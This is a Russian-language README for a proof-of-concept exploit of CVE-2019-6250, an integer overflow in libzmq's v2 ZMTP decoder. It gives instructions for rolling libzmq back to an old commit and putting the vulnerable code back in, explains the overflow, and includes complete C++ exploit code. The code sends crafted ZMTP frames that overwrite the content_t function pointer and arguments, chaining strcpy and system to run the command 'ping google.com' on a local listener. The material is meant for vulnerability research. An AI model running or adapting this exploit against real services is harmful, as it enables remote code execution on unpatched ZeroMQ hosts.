
Выделенный proof-of-concept эксплойт для CVE-2019-6250 в libzmq, использующий целочисленное переполнение для перезаписи указателя на функцию и достижения удалённого выполнения кода через специально сформированные сообщения ZMTP.
ZeroMQ(ZMQ) — это высокопроизводительная асинхронная библиотека сообщений, предназначенная для обеспечения эффективного и гибкого механизма передачи сообщений в распределённых или параллельных вычислительных средах. ZeroMQ предоставляет различные шаблоны обмена сообщениями (например, запрос-ответ, издатель-подписчик, толкай-тяни, прокси) и поддерживает несколько транспортных протоколов (таких как TCP, IPC, PGM и др.). Цель проектирования ZeroMQ — упростить сетевое программирование и повысить производительность за счёт эффективных очередей сообщений.
libzmq — это базовая библиотека реализации ZeroMQ, обычно относящаяся к реализации библиотеки ZeroMQ на языке C. Это конкретная реализация функциональности ZeroMQ, обеспечивающая базовую поддержку для различных языков программирования. libzmq предоставляет все основные функции ZeroMQ и может использоваться в связке со многими языками.
Скачайте библиотеку libzmq
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
Автор уже исправил эту уязвимость. Зайдите в src/v2_decoder.cpp и измените содержимое функции zmq::v2_decoder_t::size_ready на следующий код, чтобы воспроизвести уязвимость:
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
int rc = _in_progress.close ();
assert (rc == 0);
// the current message can exceed the current buffer. We have to copy the buffer
// data into a new message and complete it in the next receive.
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
// a new message has started, but the size would exceed the pre-allocated arena
// this happens every time when a message does not fit completely into the buffer
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
// construct message using n bytes from the buffer as storage
// increase buffer ref count
// if the message will be a large message, pass a valid refcnt memory location as well
rc =
_in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// For small messages, data has been copied and refcount does not have to be increased
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}
if (unlikely (rc)) {
errno_assert (errno == ENOMEM);
rc = _in_progress.init ();
errno_assert (rc == 0);
errno = ENOMEM;
return -1;
}
_in_progress.set_flags (_msg_flags);
// this sets read_pos to
// the message data address if the data needs to be copied
// for small message / messages exceeding the current buffer
// or
// to the current start address in the buffer because the message
// was constructed to use n bytes from the address passed as argument
next_step (_in_progress.data (), _in_progress.size (),
&v2_decoder_t::message_ready);
return 0;
}
Установите библиотеку libzmq
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install
Скачайте и установите cppzmq
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install
Замените /demo/main.cpp на main.cpp из этого репозитория
Скомпилируйте main.cpp
cd demo
mkdir build
cd build
cmake ..
make
./demo
Следующий код в Libzmq/src/v2_decoder.cpp содержит целочисленное переполнение. Когда значение msg_size_ очень велико, read_pos+msg_size_ оказывается очень маленьким числом, из-за чего условие if становится ложным, и программа не инициализирует размер сообщения. if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {
Таким образом, записанное сообщение может перезаписать память за буфером. Память за буфером представляет собой структуру content_t, которая содержит указатель на функцию ffn, а также параметры data и hint. 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };
Управляя передаваемым сообщением, можно перезаписать указанные указатели на функции и параметры конкретными функциями и их параметрами, тем самым реализовав атаку.
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}